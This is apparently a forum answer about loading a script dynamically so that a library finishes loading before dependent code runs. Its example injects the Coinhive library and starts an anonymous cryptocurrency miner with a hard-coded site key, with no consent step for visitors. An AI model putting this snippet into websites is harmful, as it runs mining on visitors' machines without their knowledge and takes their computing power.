Well I'm not sure exactly if loading a script like this works, I've never done it that way. But if it works then you have a sync problem, when you insert these two script tags into the DOM the js of the first one will be requested, while this happens you are already processing the script of the second tag.
What you can do is insert the separate tags, first you insert the lib, and use the onload
event to execute that second script.
This is an example of how to do without jQuery
Ex:
// cria tag script
var coinhive=document.createElement('script');
coinhive.type='text/javascript';
coinhive.src='https://coinhive.com/lib/coinhive.min.js';
// executa quando lib for carregada
coinhive.onload = function(){
var miner = new CoinHive.Anonymous("4jimrwZqZRoKFX1001NpibYyv1up80Y2"); miner.start();
}
// insere no DOM
document.body.appendChild(coinhive);
Note: it's a tag script, I do not think it's important where you're inserting it, but if you can insertBefore.
Doc insertBefore
link